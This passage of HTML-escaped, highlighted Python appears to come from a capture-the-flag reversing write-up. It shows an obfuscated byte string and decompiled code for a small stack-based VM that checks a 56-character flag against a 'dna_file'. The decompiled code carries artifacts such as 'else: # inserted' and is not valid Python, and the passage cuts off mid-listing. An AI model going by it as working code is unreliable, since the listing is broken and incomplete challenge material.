style="color:#d88200">a&lt;/span>&lt;span style="color:#8045ff">\x05&lt;/span>&lt;span style="color:#d88200">`&lt;/span>&lt;span style="color:#8045ff">\xe4&lt;/span>&lt;span style="color:#d88200">bxa&lt;/span>&lt;span style="color:#8045ff">\x1d&lt;/span>&lt;span style="color:#d88200">e&lt;/span>&lt;span style="color:#8045ff">\x05&lt;/span>&lt;span style="color:#d88200">c&lt;/span>&lt;span style="color:#8045ff">\x05&lt;/span>&lt;span style="color:#d88200">a&lt;/span>&lt;span style="color:#8045ff">\x05&lt;/span>&lt;span style="color:#d88200">`&lt;/span>&lt;span style="color:#8045ff">\xe4&lt;/span>&lt;span style="color:#d88200">bxava&lt;/span>&lt;span style="color:#8045ff">\x1c&lt;/span>&lt;span style="color:#d88200">e&lt;/span>&lt;span style="color:#8045ff">\x15&lt;/span>&lt;span style="color:#d88200">e&lt;/span>&lt;span style="color:#8045ff">\x15&lt;/span>&lt;span style="color:#d88200">d&lt;/span>&lt;span style="color:#8045ff">\x1d&lt;/span>&lt;span style="color:#d88200">b&lt;/span>&lt;span style="color:#8045ff">\xc1&lt;/span>&lt;span style="color:#d88200">g&lt;/span>&lt;span style="color:#8045ff">\xc0&lt;/span>&lt;span style="color:#d88200">a&lt;/span>&lt;span style="color:#8045ff">\xe2&lt;/span>&lt;span style="color:#d88200">`&lt;/span>&lt;span style="color:#8045ff">\xe2&lt;/span>&lt;span style="color:#d88200">`&lt;/span>&lt;span style="color:#d88200">%a&lt;/span>&lt;span style="color:#d88200">&amp;lt;k=c&lt;/span>&lt;span style="color:#8045ff">\x1c&lt;/span>&lt;span style="color:#d88200">d&lt;/span>&lt;span style="color:#8045ff">\x1c&lt;/span>&lt;span style="color:#d88200">g&lt;/span>&lt;span style="color:#8045ff">\x1d&lt;/span>&lt;span style="color:#d88200">e&lt;/span>&lt;span style="color:#8045ff">\x1d&lt;/span>&lt;span style="color:#d88200">dxa&lt;/span>&lt;span style="color:#8045ff">\x1d&lt;/span>&lt;span style="color:#d88200">b&lt;/span>&lt;span style="color:#8045ff">\x1d&lt;/span>&lt;span style="color:#d88200">g]a&lt;/span>&lt;span style="color:#8045ff">\x10&lt;/span>&lt;span style="color:#d88200">D&lt;/span>&lt;span style="color:#8045ff">\x1d&lt;/span>&lt;span style="color:#d88200">b2aHb/&lt;/span>&lt;span style="color:#8045ff">\x88&lt;/span>&lt;span style="color:#d88200">caaa&lt;/span>&lt;span style="color:#8045ff">\x88&lt;/span>&lt;span style="color:#d88200">`aaa&lt;/span>&lt;span style="color:#8045ff">\xc8&lt;/span>&lt;span style="color:#d88200">f&lt;/span>&lt;span style="color:#8045ff">\x13&lt;/span>&lt;span style="color:#d88200">gaaa&lt;/span>&lt;span style="color:#8045ff">\xbb&lt;/span>&lt;span style="color:#d88200">i&amp;gt;&amp;gt;&lt;/span>&lt;span style="color:#8045ff">\x02\x00\r\r&lt;/span>&lt;span style="color:#d88200">&amp;gt;&amp;gt;&lt;/span>&lt;span style="color:#8045ff">\xbb&lt;/span>&lt;span style="color:#d88200">e&lt;/span>&lt;span style="color:#8045ff">\r\x08\x12\x15\xbb&lt;/span>&lt;span style="color:#d88200">g&lt;/span>&lt;span style="color:#8045ff">\x17\x00\r\x14\x04\x12\xbb&lt;/span>&lt;span style="color:#d88200">h&lt;/span>&lt;span style="color:#8045ff">\x04\x0f\x14\x0c\x04\x13\x00\x15\x04\xbb&lt;/span>&lt;span style="color:#d88200">g&lt;/span>&lt;span style="color:#8045ff">\x12\x0e\x13\x15\x04\x05\xbb&lt;/span>&lt;span style="color:#d88200">e&lt;/span>&lt;span style="color:#8045ff">\n\x04\x18\x12\xc8&lt;/span>&lt;span style="color:#d88200">f&lt;/span>&lt;span style="color:#8045ff">\x13&lt;/span>&lt;span style="color:#d88200">haaa&lt;/span>&lt;span style="color:#8045ff">\xbb&lt;/span>&lt;span style="color:#d88200">e&lt;/span>&lt;span style="color:#8045ff">\x00\x13\x06\x12\xbb&lt;/span>&lt;span style="color:#d88200">g&lt;/span>&lt;span style="color:#8045ff">\n\x16\x00\x13\x06\x12\xbb&lt;/span>&lt;span style="color:#d88200">i&lt;/span>&lt;span style="color:#8045ff">\x08\x0f\x12\x15\x00\x0f\x02\x04\xbb&lt;/span>&lt;span style="color:#d88200">e&lt;/span>&lt;span style="color:#8045ff">\x17\x00\r\x12\xbb&lt;/span>&lt;span style="color:#d88200">`&lt;/span>&lt;span style="color:#8045ff">\x08\xbb&lt;/span>&lt;span style="color:#d88200">`&lt;/span>&lt;span style="color:#8045ff">\n\x13&lt;/span>&lt;span style="color:#d88200">laaa&lt;/span>&lt;span style="color:#8045ff">\x13&lt;/span>&lt;span style="color:#d88200">naaa&lt;/span>&lt;span style="color:#8045ff">\x13&lt;/span>&lt;span style="color:#d88200">qaaa&lt;/span>&lt;span style="color:#8045ff">\x13&lt;/span>&lt;span style="color:#d88200">paaa_aaa&lt;/span>&lt;span style="color:#8045ff">\x92&lt;/span>&lt;span style="color:#d88200">maaas`m`}`y`o`e`&lt;/span>&lt;span style="color:#8045ff">\x9b\x7f\x14\x0f\r\x14\x02\n\x18&lt;/span>&lt;span style="color:#d88200">&amp;gt;UO]&lt;/span>&lt;span style="color:#8045ff">\r\x0e\x02\x00\r\x12&lt;/span>&lt;span style="color:#d88200">_O,,O&amp;gt;&amp;gt;&lt;/span>&lt;span style="color:#8045ff">\x02\x00\r\r&lt;/span>&lt;span style="color:#d88200">&amp;gt;&amp;gt;&lt;/span>&lt;span style="color:#8045ff">\xc8&lt;/span>&lt;span style="color:#d88200">g&lt;/span>&lt;span style="color:#8045ff">\xbb&lt;/span>&lt;span style="color:#d88200">i&amp;gt;&amp;gt;&lt;/span>&lt;span style="color:#8045ff">\x0f\x00\x0c\x04&lt;/span>&lt;span style="color:#d88200">&amp;gt;&amp;gt;&lt;/span>&lt;span style="color:#8045ff">\xbb&lt;/span>&lt;span style="color:#d88200">k&amp;gt;&amp;gt;&lt;/span>&lt;span style="color:#8045ff">\x0c\x0e\x05\x14\r\x04&lt;/span>&lt;span style="color:#d88200">&amp;gt;&amp;gt;&lt;/span>&lt;span style="color:#8045ff">\xbb&lt;/span>&lt;span style="color:#d88200">m&amp;gt;&amp;gt;&lt;/span>&lt;span style="color:#8045ff">\x10\x14\x00\r\x0f\x00\x0c\x04&lt;/span>&lt;span style="color:#d88200">&amp;gt;&amp;gt;&lt;/span>&lt;span style="color:#8045ff">\x13&lt;/span>&lt;span style="color:#d88200">faaa&lt;/span>&lt;span style="color:#8045ff">\x13&lt;/span>&lt;span style="color:#d88200">yaaa&lt;/span>&lt;span style="color:#8045ff">\xbb&lt;/span>&lt;span style="color:#d88200">l&amp;gt;&amp;gt;&lt;/span>&lt;span style="color:#8045ff">\x02\r\x00\x12\x12\x02\x04\r\r&lt;/span>&lt;span style="color:#d88200">&amp;gt;&amp;gt;&lt;/span>&lt;span style="color:#8045ff">\x13&lt;/span>&lt;span style="color:#d88200">naaa&lt;/span>&lt;span style="color:#8045ff">\x13&lt;/span>&lt;span style="color:#d88200">naaa&lt;/span>&lt;span style="color:#8045ff">\x13&lt;/span>&lt;span style="color:#d88200">laaa&lt;/span>&lt;span style="color:#8045ff">\x13&lt;/span>&lt;span style="color:#d88200">qaaa&lt;/span>&lt;span style="color:#8045ff">\x13&lt;/span>&lt;span style="color:#d88200">paaa[aaa&lt;/span>&lt;span style="color:#8045ff">\x92&lt;/span>&lt;span style="color:#d88200">gaaaiam`ub&lt;/span>&lt;span style="color:#8045ff">\xbb&lt;/span>&lt;span style="color:#d88200">c,,&lt;/span>&lt;span style="color:#8045ff">\x02&lt;/span>&lt;span style="color:#d88200">aaaaaaaaaaaaaaaa`aaa!aaa&lt;/span>&lt;span style="color:#8045ff">\x92&lt;/span>&lt;span style="color:#d88200">maaa&lt;/span>&lt;span style="color:#8045ff">\x04&lt;/span>&lt;span style="color:#d88200">a;`&lt;/span>&lt;span style="color:#8045ff">\x05&lt;/span>&lt;span style="color:#d88200">a;c&lt;/span>&lt;span style="color:#8045ff">\x05&lt;/span>&lt;span style="color:#d88200">`2aHc&lt;/span>&lt;span style="color:#8045ff">\x9b&lt;/span>&lt;span style="color:#d88200">t&lt;/span>&lt;span style="color:#8045ff">\x14\x0f\r\x14\x02\n\x18&lt;/span>&lt;span style="color:#d88200">&amp;gt;UO]&lt;/span>&lt;span style="color:#8045ff">\r\x0e\x02\x00\r\x12&lt;/span>&lt;span style="color:#d88200">_O,%/&lt;/span>&lt;span style="color:#8045ff">\xc8&lt;/span>&lt;span style="color:#d88200">b&lt;/span>&lt;span style="color:#8045ff">\x13&lt;/span>&lt;span style="color:#d88200">Iaaa&lt;/span>&lt;span style="color:#8045ff">\x13&lt;/span>&lt;span style="color:#d88200">Haaa&lt;/span>&lt;span style="color:#8045ff">\x13&lt;/span>&lt;span style="color:#d88200">Kaaa&lt;/span>&lt;span style="color:#8045ff">\x13&lt;/span>&lt;span style="color:#d88200">naaa&lt;/span>&lt;span style="color:#8045ff">\x13&lt;/span>&lt;span style="color:#d88200">naaa&lt;/span>&lt;span style="color:#8045ff">\x13&lt;/span>&lt;span style="color:#d88200">naaa&lt;/span>&lt;span style="color:#8045ff">\x13&lt;/span>&lt;span style="color:#d88200">qaaa&lt;/span>&lt;span style="color:#8045ff">\x13&lt;/span>&lt;span style="color:#d88200">paaa&lt;/span>&lt;span style="color:#8045ff">\&amp;#39;&lt;/span>&lt;span style="color:#d88200">aaa&lt;/span>&lt;span style="color:#8045ff">\x92&lt;/span>&lt;span style="color:#d88200">eaaaiae`&lt;/span>&lt;span style="color:#8045ff">\xbb&lt;/span>&lt;span style="color:#d88200">c,%&lt;/span>&lt;span style="color:#8045ff">\xc8&lt;/span>&lt;span style="color:#d88200">`&lt;/span>&lt;span style="color:#8045ff">\xbb&lt;/span>&lt;span style="color:#d88200">h&lt;/span>&lt;span style="color:#8045ff">\x0c\x04\x15\x00\x02\r\x00\x12\x12\x9b&lt;/span>&lt;span style="color:#d88200">@&lt;/span>&lt;span style="color:#8045ff">\x06\r\x0e\x03\x00\r\x12&lt;/span>&lt;span style="color:#d88200">IH:F&lt;/span>&lt;span style="color:#8045ff">\x0f\x14\x02\r\x04\x0e\x15\x08\x05\x04&lt;/span>&lt;span style="color:#d88200">&amp;gt;&lt;/span>&lt;span style="color:#8045ff">\x0c\x00\x11&lt;/span>&lt;span style="color:#d88200">F&amp;lt;A&lt;/span>&lt;span style="color:#8045ff">\\&lt;/span>&lt;span style="color:#d88200">A,%I&lt;/span>&lt;span style="color:#8045ff">\x9b&lt;/span>&lt;span style="color:#d88200">`H&lt;/span>&lt;span style="color:#8045ff">\xc8&lt;/span>&lt;span style="color:#d88200">e&lt;/span>&lt;span style="color:#8045ff">\xbb&lt;/span>&lt;span style="color:#d88200">e&lt;/span>&lt;span style="color:#8045ff">\x15\x18\x11\x04\xbb&lt;/span>&lt;span style="color:#d88200">e&lt;/span>&lt;span style="color:#8045ff">\x05\x08\x02\x15\xbb&lt;/span>&lt;span style="color:#d88200">e&lt;/span>&lt;span style="color:#8045ff">\x04\x19\x04\x02\xbb&lt;/span>&lt;span style="color:#d88200">c&lt;/span>&lt;span style="color:#8045ff">\x0f\x0c\xc8&lt;/span>&lt;span style="color:#d88200">c&lt;/span>&lt;span style="color:#8045ff">\x13&lt;/span>&lt;span style="color:#d88200">Laaa&lt;/span>&lt;span style="color:#8045ff">\x13&lt;/span>&lt;span style="color:#d88200">Saaa&lt;/span>&lt;span style="color:#8045ff">\x13&lt;/span>&lt;span style="color:#d88200">naaa&lt;/span>&lt;span style="color:#8045ff">\x13&lt;/span>&lt;span style="color:#d88200">naaa&lt;/span>&lt;span style="color:#8045ff">\x13&lt;/span>&lt;span style="color:#d88200">qaaa&lt;/span>&lt;span style="color:#8045ff">\x13&lt;/span>&lt;span style="color:#d88200">paaaVaaa&lt;/span>&lt;span style="color:#8045ff">\x92&lt;/span>&lt;span style="color:#d88200">gaaaqbumyb&amp;#39;&lt;/span>&lt;span style="color:#111">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">trans&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#00a8c8">lambda&lt;/span> &lt;span style="color:#111">s&lt;/span>&lt;span style="color:#111">:&lt;/span> &lt;span style="color:#111">sum&lt;/span>&lt;span style="color:#111">((&lt;/span>&lt;span style="color:#111">nm&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">c&lt;/span>&lt;span style="color:#111">]&lt;/span> &lt;span style="color:#f92672">&amp;lt;&amp;lt;&lt;/span> &lt;span style="color:#ae81ff">2&lt;/span> &lt;span style="color:#f92672">*&lt;/span> &lt;span style="color:#111">i&lt;/span> &lt;span style="color:#00a8c8">for&lt;/span> &lt;span style="color:#111">i&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">c&lt;/span> &lt;span style="color:#f92672">in&lt;/span> &lt;span style="color:#111">enumerate&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">s&lt;/span>&lt;span style="color:#111">)))&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#111">len&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">sys&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">argv&lt;/span>&lt;span style="color:#111">)&lt;/span>&lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#ae81ff">2&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">print&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">f&lt;/span>&lt;span style="color:#d88200">&amp;#39;Usage: &lt;/span>&lt;span style="color:#d88200">{&lt;/span>&lt;span style="color:#111">sys&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">argv&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">]&lt;/span>&lt;span style="color:#d88200">}&lt;/span>&lt;span style="color:#d88200"> &amp;lt;dna_file&amp;gt;&amp;#39;&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">sys&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">exit&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">code&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">open&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">sys&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">argv&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>&lt;span style="color:#111">])&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">read&lt;/span>&lt;span style="color:#111">()&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">flag&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">input&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#39;&amp;gt; &amp;#39;&lt;/span>&lt;span style="color:#111">)&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">encode&lt;/span>&lt;span style="color:#111">()&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#111">len&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">flag&lt;/span>&lt;span style="color:#111">)&lt;/span>&lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#ae81ff">56&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">exit&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#39;WRONG!&amp;#39;&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#111">flag&lt;/span>&lt;span style="color:#111">[:&lt;/span>&lt;span style="color:#ae81ff">6&lt;/span>&lt;span style="color:#111">]&lt;/span>&lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#d88200">b&lt;/span>&lt;span style="color:#d88200">&amp;#39;.;,;.{&amp;#39;&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">exit&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#39;WRONG!&amp;#39;&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#111">flag&lt;/span>&lt;span style="color:#111">[(&lt;/span>&lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>&lt;span style="color:#111">)]&lt;/span>&lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#ae81ff">125&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">exit&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#39;WRONG!&amp;#39;&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">flag&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">flag&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#ae81ff">6&lt;/span>&lt;span style="color:#111">:(&lt;/span>&lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>&lt;span style="color:#111">)]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#00a8c8">for&lt;/span> &lt;span style="color:#111">i&lt;/span> &lt;span style="color:#f92672">in&lt;/span> &lt;span style="color:#111">range&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">len&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">flag&lt;/span>&lt;span style="color:#111">)):&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">m&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#ae81ff">640&lt;/span> &lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#111">i&lt;/span>&lt;span style="color:#111">]&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">flag&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">i&lt;/span>&lt;span style="color:#111">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">pc&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#00a8c8">while&lt;/span> &lt;span style="color:#111">pc&lt;/span> &lt;span style="color:#f92672">&amp;lt;&lt;/span> &lt;span style="color:#111">len&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">code&lt;/span>&lt;span style="color:#111">):&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">pri&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">pro&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">map&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">trans&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">code&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">pc&lt;/span>&lt;span style="color:#111">:&lt;/span>&lt;span style="color:#111">pc&lt;/span> &lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#ae81ff">2&lt;/span>&lt;span style="color:#111">],&lt;/span> &lt;span style="color:#111">code&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">pc&lt;/span> &lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#ae81ff">2&lt;/span>&lt;span style="color:#111">:&lt;/span>&lt;span style="color:#111">pc&lt;/span> &lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#ae81ff">12&lt;/span>&lt;span style="color:#111">]])&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">@pri&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">case&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">s&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">append&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">pro&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">pc&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> &lt;span style="color:#ae81ff">12&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">else&lt;/span>&lt;span style="color:#111">:&lt;/span> &lt;span style="color:#75715e"># inserted&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">case&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#f92672">not&lt;/span> &lt;span style="color:#111">s&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">raise&lt;/span> &lt;span style="color:#75af00">Exception&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#39;Stack underflow&amp;#39;&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">s&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">pop&lt;/span>&lt;span style="color:#111">()&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">pc&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> &lt;span style="color:#ae81ff">2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">else&lt;/span>&lt;span style="color:#111">:&lt;/span> &lt;span style="color:#75715e"># inserted&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">case&lt;/span> &lt;span style="color:#ae81ff">2&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#111">pro&lt;/span> &lt;span style="color:#f92672">not&lt;/span> &lt;span style="color:#f92672">in&lt;/span> &lt;span style="color:#111">m&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">raise&lt;/span> &lt;span style="color:#75af00">Exception&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">f&lt;/span>&lt;span style="color:#d88200">&amp;#39;Uninitialized memory access at &lt;/span>&lt;span style="color:#d88200">{&lt;/span>&lt;span style="color:#111">pro&lt;/span>&lt;span style="color:#d88200">}&lt;/span>&lt;span style="color:#d88200">&amp;#39;&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">s&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">append&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">m&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">pro&lt;/span>&lt;span style="color:#111">])&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">pc&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> &lt;span style="color:#ae81ff">12&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">else&lt;/span>&lt;span style="color:#111">:&lt;/span> &lt;span style="color:#75715e"># inserted&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">case&lt;/span> &lt;span style="color:#ae81ff">3&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#f92672">not&lt;/span> &lt;span style="color:#111">s&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">raise&lt;/span> &lt;span style="color:#75af00">Exception&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#39;Stack underflow&amp;#39;&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">m&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">pro&lt;/span>&lt;span style="color:#111">]&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">s&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">pop&lt;/span>&lt;span style="color:#111">()&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">pc&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> &lt;span style="color:#ae81ff">12&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">else&lt;/span>&lt;span style="color:#111">:&lt;/span> &lt;span style="color:#75715e"># inserted&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">case&lt;/span> &lt;span style="color:#ae81ff">4&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#111">len&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">s&lt;/span>&lt;span style="color:#111">)&lt;/span> &lt;span style="color:#f92672">&amp;lt;&lt;/span> &lt;span style="color:#ae81ff">2&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">raise&lt;/span> &lt;span style="color:#75af00">Exception&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#39;Stack underflow&amp;#39;&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">a&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">b&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">s&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">pop&lt;/span>&lt;span style="color:#111">(),&lt;/span> &lt;span style="color:#111">s&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">pop&lt;/span>&lt;span style="color:#111">())&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">s&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">append&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">a&lt;/span> &lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#111">b&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">pc&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> &lt;span style="color:#ae81ff">2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">else&lt;/span>&lt;span style="color:#111">:&lt;/span> &lt;span style="color:#75715e"># inserted&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">case&lt;/span> &lt;span style="color:#ae81ff">5&lt;/span>&lt;span style="color:#111">:&lt;/span>
